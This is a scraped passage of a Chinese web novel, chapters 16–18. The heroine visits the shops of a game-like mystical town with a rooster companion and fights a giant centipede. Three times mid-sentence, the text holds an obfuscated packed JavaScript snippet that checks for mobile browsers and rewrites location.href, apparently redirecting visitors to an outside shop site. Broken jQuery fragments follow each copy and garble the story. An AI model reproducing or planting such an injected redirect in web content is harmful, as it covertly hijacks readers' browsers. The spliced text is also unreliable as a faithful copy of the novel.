这时候一张符纸一粒丹丸就能解决所有问题。 当然,现在的苏芸体质不同往日,熬一整夜不但不困不饿,身上也清爽如故,还能精神百倍开店营业。 不过洗漱问题好克服,嘴馋却改不了,她还是会间歇性地弄点正常吃食。 但这些都不是重点! 苏芸拉回走远的思绪,对大公鸡动之以情:“我做得这些,不也是为了给你更好地生活吗?你陪我出个门怎么了?” 苏芸确定大公鸡绝对能听懂人话,但大公鸡就是无动于衷,并又当着她的面生吞了一条蜈蚣。 也不知道这后院哪来那么多毒蜈蚣,踹了蜈蚣窝了吗? 苏芸思索着全程紧紧抱着大公鸡一块去打卡的可能性,但大公鸡有点重! 她现在力气大了很多,甚至能一只手抬起大柜子,可抱着大公鸡没一会儿,居然就觉得累。 大公鸡不止个头不小,密度也是真大! 绞尽脑汁想了许久,苏芸忽然灵光一闪,问:“你知道昴日星官吗?” 大公鸡觅食的动作慢下来了。 有戏! 其实小时候苏芸还以为昴日星官也是大圣一棒子打一个的妖怪。 再说了,在她朴素的认知里,一只大公鸡能有多厉害,那些名字生僻的存在才是顶级SR,后来再刷视频才知道,昴日星官是大圣请来的救兵。 那……那也应该比不上梼杌、饕餮、魔狼吧? 可现在苏芸极尽吹捧之能,天花乱坠地说:“昴日星官乃天上星宿神君,在上面风光无限,你是不知道他的来历、神威……” 大公鸡不知不觉间便认真听起故事,且听得心神向往。 “昴日星官算是你们这一族职业巅峰了,你不想朝着神君的方向前进吗?” 大公鸡灼灼地看着苏芸。 苏芸:“要说昴日星官的伟大事迹,那是数不胜数,但他最让人尊敬的便是公正,且特别爱护弱小、乐于助人!” 大公鸡略质疑地看苏芸一眼。 真的吗? 没错的,苏芸表情前所未有的坚定。 一刻钟后,再次准备齐全的苏芸顶着大中午的烈日雄赳赳气昂昂地出门了,身后除了一溜等级不一的小石人,还有一只威风凛凛的红冠大公鸡。 苏芸左右看看,虽然跟纸婆婆更熟,但还是选择先去溪流右边的铺子打卡。 通过夜晚的观察,左边铺子整体比右边更加热闹,而再根据一些人物卡提供的只言片语,右边的铺子也确实普遍不适合夜市。 踏进第一家铺子前,苏芸想起似乎有一个关于家具的好感度任务,每天送食物、鲜花、礼物等等给一名NPC,能慢慢攒齐一整套华丽的家具。 床、桌椅、衣柜、箱笼……样样俱全。 虽然那套家具后来很快就被淘汰更换,但在前期也算很重要的任务,应该就是在这个家具店触发吧? 结果一进门,就看到店铺正中央摆着一副巨大棺材。 苏芸:“……” 视觉冲击有点强了。 而后她才注意到除了棺材外,铺子两侧摆设了一溜的桌椅柜子、博古架、五斗柜……她慢慢冷静下来。 等看到这些典雅的木制家具不只陈列布置特别讲究,做工精美程度也堪比艺术品,苏芸才发现那正中央的棺木雕花层层叠叠、繁复异常。 但再惊人,这样也很难招揽到客人吧! 可林杏似乎没有这种自觉,或者说他完全不在意客流,就算知道苏芸过来也没起身,一直躺在摇椅上。 还是苏芸绕过棺材看到他后主动打了个招呼。 她学着纸婆婆的叫法:“杏老。” 脑子里响起一个‘嗯’字。 几日不见,林杏声音依旧浑厚,但面庞明显苍老了不少,不过当皱纹爬上面庞后,反而跟他满头的银发挺匹配,看起来更像世外高人。 可能是等级上去了,苏芸有种莫名的直觉,感觉林杏的衰老是正常变化,他的状态没有半分虚弱、疾病的倾向。 苏芸盯着林杏,尝试着学对方也用意念交流,但努力半天也没成功。 林杏见状,便问:“是想打个柜子?” 不用,苏芸赶忙摇头,家里的柜子够用了。 林杏便没再管她,那看来任务不在这里,又或者触发任务的时间还不到。 【你已深入木材店了解了情况,恭喜你完成第一家店铺打卡。】 手游里打卡是要截屏,但现在好像是待了一段时间便能成功打卡,苏芸准备离开。 “等等。”林杏抬手指着旁边的书案:“把这东西拿走。”是一个卷轴。 苏芸刚拿到手还没来得及展开细看,就先收到提示。 【恭喜你获得组合家具:忆流年1/7】 是那个任务哎。 她开心地打开棋盘,发现提前做好的准备根本不够,便又匆匆跑回杂货铺。 片刻后,苏芸提着重新整理过的编织箱过来。 这游戏的仓库系统是分散的,棋盘、灶台、矿物、种子甚至后山各自有各自的存放点,且每个仓库收容的物品类型早已固定。 相对来说,棋盘是最不限制种类的。 但棋盘本就被大量的合成器和合成物占据,可用的自由格不多。 苏芸出门前准备了许多防御、自保、恢复的符箓丹药,多余的东西只能靠编织箱了。 还好她发现了这编织箱的特点。 编织箱并不能无限量的东西,但可以保持物品原状,明明没有扣带,可折叠好的衣服放进去,怎么甩箱子,打开时衣服依然是整齐叠好的状态。 苏芸将箱子摊开在书案上,一样样拿出刚刚匆忙准备的东西。 一碟碟摆好的蔬果,一盘盘或正常或猎奇的菜品,又从棋盘上取出一些初级合成物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563970|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆好后她眼睛亮亮地看向林杏。 林杏:“……” 纸婆婆是因脸上的皱纹过于深邃无形中便会给人严厉之感,但只要交流两句,很快便能感受到对方的善意。 而林杏则是因为没有表情,不论先前鹤发童颜还是现在光速衰老,他脸上都没有过多情绪,给人不好接近之感。 此时面无表情盯着苏芸,更显几分威严。 可第一回看到林杏时,苏芸只感觉到莫大压力,本能想避开,这回,她却能明确感知到杏老面无表情下深深地疑惑。 绝不是因为刚刚得到任务奖励的滤镜。 苏芸说:“送给您啊!” 快提升好感度,把剩下的6/7都给了。 林杏看看桌上的东西,虽然都没什么用,但这是人类的好意吧? 他又在苏芸脑子里‘嗯’了一声。 然后,就没有然后了。 苏芸失望,行吧,好感度也不是一次就能刷满的。 她接着往右手边第二家店铺去。 第二家店是一家茶叶铺,经营者是一名外形看着很舒服,让人如沐春风的清秀男子。 苏芸从未在之前的经营任务见过这人,一照面多少有些眼前一亮的感觉,建模真好啊! 只是这人看到苏芸却不大欢迎:“你那山上产的茶可不如我,我不用你的。”一副生怕苏芸是上门推销的避之不及的态度。 苏芸凑到柜台边看看。 奈何她不懂茶,便说:“那我买一些你的茶吧。” 探山过程中还没能采集到茶树,买现成回去用灶台试试,看能不能配出水果茶来。 男子十分意外地看她一眼:“你真要买?” 苏芸点头,她还打开棋盘:“不过我没法取金元宝,你能……”自己取或者用别的合成品以物换物吗? 话没说完,她眼前一闪,仿佛置身于云层之中,她清晰地看到云层里有大片金元宝堆,苏芸想也没想伸手就抓了几个。 回过神来时,她仍在铺子原地,只是手里多了金元宝。 苏芸看看棋盘,上方的元宝数显示减少了。 是等级上升后所以可以自由取钱,还是棋盘感知到她有对外购买需求,主动放出呢? “既然你诚心要买,那我就跟你说道说道。”男子略矜持地问:“平日喜欢什么口味。” 见对方并未察觉到异常,苏芸放下金元宝的事,打算等回去再研究。 “我喜欢锡兰红茶和白桃乌龙。”常点的奶茶底。 男子有点嫌弃地看她一眼:“真没品位,我这里只有顶级龙井和碧螺春。”而后摆出一副爱要不要的嘴脸。 苏芸不懂也知道这两个名号的茶叶不便宜,想想这里离谱的物价,问:“多少黄金啊?” “一百两黄金。” 十个金元宝,还行。 男子又说:“你也可以用灵石付账。” 灵石是指灵晶? 二十单位的灵晶能买黄金宝箱,开出的金元宝刚好是一百。 听起来,好像用灵晶更划算,但灵晶的用处可比金元宝多多了,且金元宝可以随时挣,而灵晶只有偶尔才会奖励。 苏芸一眼看穿店主的伎俩,果断道:“就用黄金。” 16. 第 16 章 男子用厚纸规规整整地包了两个茶包递给苏芸时,表情还有点遗憾,可见对他们而言,灵晶同样稀有珍贵。 苏芸接过的瞬间,好几条提示接连弹出。 【身为经营者的你也需要看到其他店铺的长处,恭喜你完成第一次外购行动。】 【你意识到杂货铺的不足之处,恭喜你获得奖励:探山图纸。】 【恭喜你完成第二家店铺的打卡。】 苏芸很开心,在把山路完全清理出来前,想要进入深山采集更高等的材料时,就需要使用探山图纸。 往下第三家店居然是很重要的任务点。 飞鸟信箱,可以用来与远方的特殊客人进行交流,收到的信件里通常包含一张风景卡、数量不等的金元宝,以及可能开出宝石、不重要的树叶、碎片、卡券等等的盲盒礼包。 本质上就是旅蛙换了个形式 不过刚开始苏芸没认出来这里就是飞鸟驿站。 她印象中手游里的飞鸟信箱是一只很小的鸟,但这店里的架子上立着一只威风凛凛的鹰。 苏芸看到时差点以为这是什么飞禽宠物店。 见她过来,那老鹰立刻扭头,一双锐利的眼眸看了过来,震慑力十足。 苏芸下意识停住脚,倒是大公鸡没管她,保持着独有的节奏,慢条斯理进店寻了个舒服的地方蹲好,便不动了。 小石人也特别自来熟地爬上爬下,还爬到老鹰背上,老鹰也不管石精的动作,只微微看大公鸡一眼,便继续闭目养神。 苏芸这才大胆入店,只是在店里转了一圈后,依旧没看出来这家店是卖什么的,也没找到老板。 正准备待够打卡时间就离开,一个声音响起:“你是要寄什么?” 苏芸被吓一跳,等发现开口的是那只鹰,才反应过来这里就是信箱驿站,那只鹰就是手游里漂亮、袖珍、Q萌的飞鸟。 那就随便寄点什么吧,虽然回报不高,但也算少有的日常之一。 她随便拿了一张符箓寄信。 老鹰一一下子当着她面变成了一个十二三岁的小女孩。 女孩可可爱爱,头上还有一小撮白色的呆毛,只有一双溜圆的眼睛依然不改顶级掠食者的锐利。 她利索将苏芸的符纸折叠好塞进竹制的信筒里,接着特别严肃地跟苏芸说:“我只是趁中午休息一会儿可没有偷懒,不能告诉我娘哦。” 苏芸被萌的心都化了,忙不迭点头:“我肯定不说。”接着又拿出些果脯和干果投喂小女孩。 小女孩接了后也很高兴,还多送给她一个皮制信囊,并跟她保证:“我绝对不会遗失你的信件的。” 所以你以前遗失过谁的信件呢? 如果妖都和这小鹰一样可爱,就也不可怕嘛。 但苏芸看一眼信步昂扬的大公鸡,放弃了这奢望。 第四家店就是买过符箓的书生所开的书店。 书生的人物卡显示,他叫简墨。 但要不是提前从人物卡里得到过消息,只看铺子陈设她还真看不出这是一家书店。 这铺子的柜台摆在快靠近门口的位置,简墨就站在柜台后,架势不像是要迎客,更像准备来一个客人就赶走一个。 而且房间里很昏暗,以至于一眼扫过去只能看到书生背后有架子,但并不能看清架子上摆的都是书。 苏芸看完杂书后觉得还蛮有意思,想买更多奇闻异志,就问了句:“这里都有什么书?” 简墨没有客户主动上门的喜悦,只有满满的警惕:“你想买书?” “我……”苏芸试探:“先看看呢?” 简墨断然拒绝:“书本哪里能随便翻看!” 那不然呢? 苏芸被激发了斗志,踮着脚双手撑在高高的柜台上,视线越过书生往他身后的架子认真看去。 这样专注的情况下,她还真看到了点什么。 昏暗的书架似乎变得清晰起来,苏芸不但能看到上面陈列的众多的书籍,还眼尖看到许多明显历经岁月的古籍。 可还不等她更进一步试图看清那些书籍的封面,简墨的脑袋挡住了她的视线。 他有点不高兴:“你这样很失礼。” 苏芸感觉眼角闪过什么,她精准地指着第列书架第三排中的一本书:“我要那本书。” 简墨回头看看,而后面色有点古怪地看向苏芸:“你确定?” 苏芸肯定点头,那本书闪光了,肯定是重要的任务道具。 简墨回身取来书籍,他拍拍书本感叹了一句:“这书可是好书,倒是很会选。”而后递给苏芸:“既选了,便好好待他。” 这么郑重的吗? 苏芸点头:“我会爱护的。” 简墨又从抽屉里拿出一张卷抽:“既然要养,便要多备些书,这里的书上都有我的气息不合适,你把这些新书拿回去吧。” 什么气息、什么合适? 苏芸含糊着问:“多少黄金?” 简墨瞥他一眼:“不用了,这铺子还是当初你父母送给我的,日后想要添书,要提前告诉我,我才好准备。” 苏芸囫囵地听完,接过卷轴便往外走。 信息等晚上回去再复盘。 第五家铺子居然也是一家杂货铺。 铺子三面墙全是到顶的货物架,各色宝箱、锦盒陈列在架子上,且门口还摆着一辆小推车,说明店主除了开店,偶尔也会推着小推车出去售货。 经营者是一名个头不高、看着很瘦弱的年轻男子,对方看到苏芸后便爽朗一笑,一下显出几分精明和老练来。 “我听说你回来开铺子了,总想着要过去看看,只是一直不得空。” 这是同行的炫耀?苏芸不太确定地想。 男子说着从柜台下搬出一个超大多宝阁,他把格子一一打开:“你来我这儿,是想要点什么?” 【你意外遇到一名特别的商人,他手上似乎有许多珍稀商品,你决定仔细看看。】 咦,特殊商人原来在这里。 【恭喜你偶遇机缘,每周兑换次数受限,切莫错失哟。】 苏芸立刻开始挑选,每周固定的抽奖券和宝箱是必买的,另外看看哪些种子、外观是还没有的。 咦,居然还有图纸和鱼竿,这个也要买。 但特殊商人这里得以物换物,她棋盘上所有合成物包括灶台仓库里的粮食蔬果全交易出去,也只能换来抽奖券、宝箱和一些稀有种子。 苏芸又从矿洞里调了些宝石过来,才把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563971|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图纸和鱼竿买下。 不能用金元宝,倒是可以直接用灵晶买,但苏芸没那么做。 年轻男子高兴地说:“以后常来啊。” 下一家店是药店。 苏芸探山找到的药材可以售卖到这里来,但目前她探山的进程还没到这一步,便只跟店家进行初步交互就离开了。 药店隔壁就是医馆,倒是很方便。 坐馆的大夫留着长长的胡须、精神矍铄,一看就是很靠谱的老中医。 且这医馆应该成名很久了,苏芸过来时还看到许多病人在排队,且这些病人她一个都没见过。 他们多穿着色泽暗淡的裋褐,跟街上着装华丽但朝代混乱的店家们完全不同,就是重要NPC和路人甲的区别。 苏芸便只略扫了一眼。 她也蛮想试试老中医,苏芸是个很信中医的年轻人,只是这年头想找厉害靠谱的中医实在不容易。 不过,苏芸看看等候的人群,还有那么多店等着打卡呢,等以后有时间再来吧。 再下一家是服装店,里边衣服、饰品、鞋袜都有,还有绣文精美的荷包和颜色搭配特别的小挎包。 如果苏芸早一点敢出门,便能顺利解决穿着问题,不必逼着棋盘自我改进了。 但能自给自足自然是更好。 “想买什么?”一名年迈的老婆婆过来。 和纸婆婆不同,对方脸上同样满是皱纹却显得慈眉善目,可苏芸又感觉这位老人家是她见过的最虚弱的老人家。 或者说所有见过的人里,不论男女老少,甚至包括刚刚医馆里的那些病人,这位老婆婆给她的感觉最不好,仿佛死亡的味道特别近。 她不由自主地问:“你需要什么丹药吗?” 老婆婆笑着摆手:“我可买不起珍贵的丹药。” 苏芸打开炼丹炉的合成路径,在众多丹药种类里,只有第十二级的甘露丸和最顶级的九转还魂丹才对老婆婆的情况管用,确实蛮贵的。 估计是后期任务吧。 她就说:“那您再攒一攒钱。” 老婆婆仍是温和一笑。 苏芸挑了个荷包和小挎包,织造机的合成路径里有小布袋,但布袋的合成等级居然排在一系列繁复套装的后面。 她拿出几个金元宝。 老婆婆连连摆手:“我这都是凡物,可用不着黄金。” 啊?苏芸碰到了从未设想过的情况,“可我没有别的货币。” 老婆婆毫不意外,特别好脾气地说:“不值什么钱,喜欢就拿去吧。” 那怎么行,拿其他人东西还好,拿这位明显不是任务对象、且情况特别糟糕的老婆婆的东西,心里怎么过得去。 苏芸从棋盘上取出一粒回春丹,这丹丸没法根治老婆婆,但能让她恢复一些气血,状态好一些。 本来是为防受伤提前准备的。 老婆婆赶忙推辞,可苏芸强行塞过去,还特意嘱咐:“赶紧吃,放久了就没药性了。”说完便快步离开。 都是老太太,但纸婆婆更像游戏里的引导者,反而这名老婆婆很像温和的长辈。 苏芸幼年时几乎都是被老人带大的,她神色不自觉低落了几分,可很快便又打起精神迈入下一家店铺。 17. 第 17 章 下一家店居然是一家面馆,而且看店里的水牌,这里早上还会卖包子、馒头之类,那很棒了。 苏芸立刻坐下点了一碗牛肉面。 老板是一名穿着圆领长裙、袖子肩膀绑了襻膊、腰间系着半截式花围裙、头上戴着花头巾,看着十分利落的年轻女子。 苏芸见过她,对方来杂货铺买过箭矢。 不过对方只来过一次,人物卡信息不多,苏芸真不知道她是开面点店的,不然…… 不然也不敢早来。 因为这女子名叫胡锦,这个姓氏结合游戏背景很难不让人产生某些联想。 胡锦过来,同样对一进店就撒开了到处攀爬的石精很宽容,但她多问了句大公鸡:“您想吃点什么?” 大公鸡‘咯咯哒’一声。 胡锦便听懂了似的:“很快就好。” 苏芸默默把刚刚塞进荷包里的保命符重新系在手腕上,面上镇定自若地等着面,只是目光四移,到处看这铺子陈设,就是不看安稳蹲在对面长凳上的大公鸡和开放式厨房里忙碌的胡锦。 也完全不想深究他们沟通如此顺畅的原因。 胡锦的速度果然很快,没多久就给苏芸上了一碗牛肉面,给大公鸡上了一碗码子是油炸虫子的面条。 苏芸:“……” 没事,就算用一口锅那也是经过了高温杀毒,她也吃过烤知了和蜂蛹呢。 她嗦一口面,耳畔传来隔壁桌客人的闲谈:“小丫丫的身体熬不了多久了。” 这话似乎引起了共鸣,另外几桌的人都参与进话题。 “毕竟也到了年纪,其实她悟性上佳,只是经脉问题太严重,不然何至于……” “若能改善经脉,或许还有转机。” 苏芸哗啦啦吃面,还是手工面好吃啊,不知道能不能打包。 她掏出特意带上的纸巾擦了擦嘴,准备付钱时才注意到一桌桌食客连带着胡锦的目光齐齐看着她。 “??” 苏芸不明所以。 胡锦加了一句:“小云,小丫丫去找过你了吗?” 苏芸尴尬一笑:“小丫丫是?” “你一路过来没见着么?”胡锦说:“小丫丫开了一家成衣铺。” 那位老婆婆叫小丫丫? 苏芸点头,确定了,应该是后续支线任务。 便含糊道:“没呢。” 而后按着水牌上的价格,留下一块金元宝就离开了。 “她也做不到吗?”苏芸走后,面馆里的人还在闲谈。 胡锦收起面碗:“孩子刚回来,别逼得太紧。”总归回来就好,现在大家都算有希望了。 不知不觉间,苏芸便走到视野尽头的拱桥处。 拱桥边立了一块石牌,石牌上刻着‘雾山小镇’四个字。 苏芸记得后续节假日都会有外观活动,不论石牌还是拱桥都能换款式。 这里便是这个与其说乡镇不如说街道的小镇的起点。 手游里,整个小镇的画面到此为止,其他外出任务也只会有任务点的单独页面,可现在她却能清晰地看到拱桥往外延伸的更加繁华的世界。 拱桥之外的河道越发宽阔,中间甚至有人驾着小船往返两岸做生意。 两岸不再限于单条街巷,而是纵横交错、四通八达,只一眼望去便是繁花似锦,那才是群体聚居的正常城镇的模样。 苏芸不自觉便想迈过去看看究竟,便听到有人喊她:“小云,你要去哪儿?” 她回头,这才注意到自己径直越过了右边最后一家铺子。 这是一家客栈。 经营客栈的是一对夫妻,女老板名叫燕九娘,高大魁梧干练,曾去杂货铺买过一对大刀。 喊住苏芸的就是她。 “现在外头可不安生,之前的事你都忘了?” 之前的事,又是前置剧情,每回只点一句又不说清楚。 燕九娘抓着苏芸胳膊便往客栈走,苏芸下意识想挣脱,被燕九娘换了个姿势反而钳的更紧。 苏芸也不知道怎么想的,手腕一翻绕了一圈不但顺利挣脱开,还差点一拳打向燕九娘侧肋。 但很快她又收回手,一脸后怕紧张的看向燕九娘。 拳法练得太熟练了,不自觉就使出来了。 燕九娘却并不介意,反而爽朗一笑:“不错不错,修行精进的很快,想来不久就能超过我啦,不过实战还不成啊。” 待踏入店铺内后,燕九娘毫无芥蒂的把苏芸按进一张椅子上坐着。 “听说你回小镇后便一直待在铺子里,从没出过门,这回过来是有什么事?” 燕九娘说话的时候还是站着,苏芸有点不好意思也想站起来。 这时迎面过来一名外形斯文秀气的男子,看着和善好相处,可苏芸不止一次在夜晚观察中看见过对方在烤鸡店里一口一只整鸡的壮举,见状立刻安静坐好。 朗月也就是男子,过来苦恼的说:“客房又不够用了。” 燕九娘看苏芸一眼,道:“这事也急不来。” 朗月抄着手,以一种与外形大相径庭的大咧咧态度说:“我又不急,巴不得少来点人呢,是云叔急,他天天念叨着要把戏台扩大。” 燕九娘好笑:“他想要大戏台,还用我们帮忙?” “这不是嫌没人捧场么?” 苏芸这才注意到这间狭小的客栈中,一楼竟不都是房间,除了基本的用餐处,还摆了一个小小的戏台。 比起客栈,这样的布置更像酒楼、茶楼。 观察完毕,收回目光时苏芸发现这对夫妻也在盯着她,只是这目光中更多是某种期盼。 “……” 苏芸礼貌微笑。 朗月微微扬眉,正待说什么,却被燕九娘给拉住了。 苏芸装作什么都没看到,时间一到立刻起身往外走:“我铺子里还有事。” 并少有的主动催促大公鸡。 赶紧走,不怕被上桌吗? 大公鸡斜睨她一眼,踱着特有的步伐往外走,苏芸急匆匆的,快要跨出大门时,眼角余光却看到角落里椅子下有个宝箱。 “!” 游戏里会不定期刷新宝箱。 杂货铺里,一般是刷新在后院或者山路口,但每次支线任务开新地图的时候,新地图会有一波宝箱福利。 只是这些天苏芸上上下下地在铺子里折腾,从来没找到过宝箱,还以为游戏照进现实后,这种福利和氪金体系一样消失了呢。 她飞快跑过去打开宝箱。 虽然只是最初级的木箱,开出来只有几两金,但这是个很好的开始啊。 拾取金元宝后木箱自动消失,苏芸还特意看了看燕九娘和朗月,见他们并未察觉才真正放心。 苏芸不急着走了,撸起袖子到处找宝箱。 燕九娘见状也不阻拦,任由她上上下下的乱窜,哪怕苏芸沉迷游戏闯进人家客房里,也会出面主动帮人解释。 还别说,这客栈真是宝地,她在楼下大堂、戏台角落、座客区分别找到一个木箱,又在楼上其中一间客房里找到一个黄金宝箱,可谓收获满满。 走前苏芸也不装傻充楞了,直截了当的说:“九娘放心,凑够了钱我第一个给客栈升级。” 等苏芸乐滋滋离开,燕九娘笑骂了一句:“这孩子,没大没小的。”但面色却十分包容缓和。 朗月道:“早点扩张铺子也好,外面那些人又要过来了。” 燕九娘冷哼一声:“怕他们不成。” 不知不觉间太阳快下山了,苏芸看了眼小溪对面,踌躇一会儿还是先原路返回,剩下的铺子等明天再打卡吧。 回去一看果然快下午5点,苏芸迅速收菜种菜一波,立刻开始打坐。 晚上快八点的时候,苏芸第一次在夜晚开门营业。 她将楼上楼下所有的灯全都打开,照旧拉着石精壮胆,大公鸡到了晚间无论如何也不肯配合。 就这样,在灯火通明的环境下,苏芸大胆营业了十分钟,完成五单交易任务,便火速关上门上楼。 一直到这会儿,苏芸才有空就着街道夜景复盘今天接收到的信息。 原来茶铺的店主叫苏茗,同姓氏还挺有缘的。 苏芸顺便拿出探山图纸和茶叶包,她有预感,这次用探山图纸肯定能采集到茶叶,茶叶类合成物应该快开出来了。 这么想着,苏芸毫不犹豫点击确认使用图纸,下一秒她人就出现在一片深山老林里,一块出现的还有大公鸡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563972|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陷入沉睡却被强行拉来的大公鸡怨气很重地飞起给了苏芸一啄。 苏芸愤怒道:“关我什么事啊!” 平时石精探山的时候,她只要在光屏上点点就好,哪里知道使用探山图纸后会是真人被传送过来呢。 更何况:“探山任务你本来就要参与,有什么好不满的!” 大公鸡又叫了一声‘咯咯哒’,苏芸莫名领悟了它叫声中的抱怨。 为什么不白天来?那不是白天不得空嘛! 等等,苏芸突然想起,玩游戏时她是经常熬到半夜,但游戏内的时间在夜晚时,都会有一个睡眠、然后跳转到白天的动作。 想到这里苏芸顿时有点心虚,但紧接着她又理直气壮起来:“也不一定就会遇到战斗任务,你很快就能回去睡啦。”接着又说:“昴日星官遇到事绝不会像你一样推卸、逃避!” 话刚说完,就见大公鸡对着某个方向叫了一声,一头巨大的堪比猛虎的蜈蚣慢慢从白雾中爬了过来。 “……” 谁能理解,虫子的头颅被放大后那种冲击感! 第一次战斗任务就这么大阵势吗? 苏芸语无伦次,“我就说你捅了蜈蚣窝,现在遭到人家报复了吧?” 大公鸡没搭理她,来的时候满是怨气,这会儿大敌当前却意外地有担当,一马当先就冲了过去。 可先前半臂长的蜈蚣在大公鸡面前有多无力,现在的大公鸡在这头变异蜈蚣面前就有多脆弱。 苏芸一看就觉得大公鸡凶多吉少。 到底是她惹出来的,且怎么说,游戏系统不会让让她死吧? 苏芸,你也是会玩飞针的人,都能戳穿石块了,大胆点,快上! 拼命做好心里建设,苏芸便操控着一把飞针过去帮忙,能够戳穿山体的飞针扎在大蜈蚣身上却只发出微弱的‘叮铃’声便跌落在地。 还是大公鸡更给力,只见大公鸡飞起落到大蜈蚣头上狠狠抓了几把,而后对着蜈蚣喷出一团火。 那火球也就正常拳头大小,偏偏落下去后立刻把堪比巨兽的大蜈蚣的脑袋给烧出个大窟窿。 蜈蚣顿时哀嚎起来,刺耳地嘶吼声响彻整片区域,滚动摇摆掀起一阵飞沙走石。 苏芸只觉脑瓜子嗡嗡的,刚刚召回的飞针齐齐不受控的跌落。 直到大公鸡‘咯咯哒’一声,她这才感觉好受些。 但这一声之后,大公鸡便退到一旁,并给了她一个‘该你上了’的眼神。 啊,差点忘了这是回合制。 苏芸勇敢的上前一步,手忙脚乱扔了两张攻击性强的符纸和一把飞针过去,造成的伤害几乎为零。 她张口想用法术攻击,咒语还没念完呢,被身受重创的大蜈蚣一尾巴给甩到一棵树上。 真……咦?不怎么疼! 苏芸迷茫的检查自己,大公鸡白她一眼,上去给了大蜈蚣最后一击,直接了结。 【恭喜你完成第一次战斗任务,击败了强大的敌人。】 【恭喜你获得:盾甲×1、剧毒囊×2、肥美肉块×10】 苏芸惊讶的发现,刚刚手上不慎碰到尖锐石头的擦伤在这一瞬间恢复了。 她摸摸手臂,又按按撞到树的背部,确认身上安然无恙,心情一下子就明媚了,就说游戏不能特意拉她来受罪。 不然她可不愿意干。 一直等大公鸡吃了一通蜈蚣肉,叫唤着催促,苏芸才开始干活。 她打开地图,先让石精把杂草全部清理干净,然后选择十样东西进行采集。 深山采集就是比山林外层更划算,不再只是木料、石料、土料,苏芸收获了三株果树苗、两株茶树苗、五份高等药材。 没多久,蜈蚣尸身慢慢消散,苏芸看到原地还散落一个红色木箱,立刻过去拾取了。 【你幸运的捡到了战利品:二级蜈蚣王的收藏。】 【恭喜你获得:遗蜕×1、灵晶×10、幽纹蜈蚣草×1、特殊宝石×1、抽奖券×1】 那么大头蜈蚣居然只是二级? 苏芸心满意足传送回卧室,虽然受了点冲击,但收获很丰厚啊,下次还敢。 只是刚回来她便感觉一股由心而发的疲惫,也顾不得清点物资,便立刻打坐睡了一觉。 18. 第 18 章 这回,苏芸半途意识清明后,没再直接醒来,而是选择继续打坐,一直到感觉告诉她,继续无益才停止。 醒来时已经是凌晨三点。 苏芸第一时间打开棋盘,意外地发现灵力值上限加了一,原来还有这种好处。 不过从经营的角度来说,这么做其实不划算,毕竟这么长的时间她如果分成两次打坐,都攒够两拨满灵力了。 苏芸迅速肝完这一波灵力值,没像前几天接着看视频回灵。 她把从特殊商人黄十三那儿买到的种子先种下,而后是山上采集到的果苗、茶树苗。 这种采集到的树苗不用占田地位置,苏芸暂时种到石阶上石精清理出的空地上。 青芽茶可清心明目,翠缕茶温润经脉,青纹李可疏通淤堵经脉,紫芝枣可稳固修为,玉珠果则有微弱的延年益寿的功效。 都是很有用的树苗,苏芸看到这些树苗的功效想起了那位和善的老婆婆,决定每天挤出些灵力合成丹药,这样任务发布的时候,能从容些。 接着她看向打蜈蚣的收获。 幽纹蜈蚣草显示可处理,处理之后得到一份药草和两粒种子。 苏芸立刻跳到后院画面,种植时却显示土地需要再次升级,她干脆让石精另外开了几块新田。 石精吭哧吭哧开完地,又卖力地去山上采土矿升级。 大公鸡看看忙碌的石精,又看看二楼透出来的灯光,无奈跳回别墅。 这宠物别墅虽然不够开阔,但既遮光又隔音,也不是一无是处。 大公鸡蹲在软垫上,正准备睡下,面前的食盆里突兀地多出几块肉来。 “……” 虽然棋盘的信息上显示,蜈蚣肉美味营养,还具有一定回灵效果,但苏芸还是不想吃哈。 没得选也就咬牙吃了,有的选又被蜈蚣头正脸冲击过,真的很难消化,苏芸干脆直接给大公鸡了。 大公鸡美美吃下,打了个饱嗝继续入睡。 苏芸又看盾甲。 好丑,也不想穿。 这盾甲是件背心,但是由一条一条的甲壳拼接而成,那形态很难不看出原材料的来由。 她甚至不想收进衣柜里。 能不能回炉重造啊。 苏芸是发泄性地把护甲往炼铜炉的位置甩了下,不曾想弹出一条提示。 【这是完整的护甲,确定将此成品拆分成原材料,重新炼制吗?】 咦? 苏芸刚要点确认,但想了想,又把遗蜕和剧毒囊放进棋盘中。 她一一试验,大石精和人面树桩是不接受任何外部材料的,提示语相当严厉抗拒,而蜈蚣遗蜕可以放进织造箱、符器、阵盘和炼铜炉里,剧毒囊只能放进丹炉、炼铜炉、香炉里。 苏芸有点后悔把蜈蚣肉全给大公鸡了,下回拿到任何东西还是要多尝试。 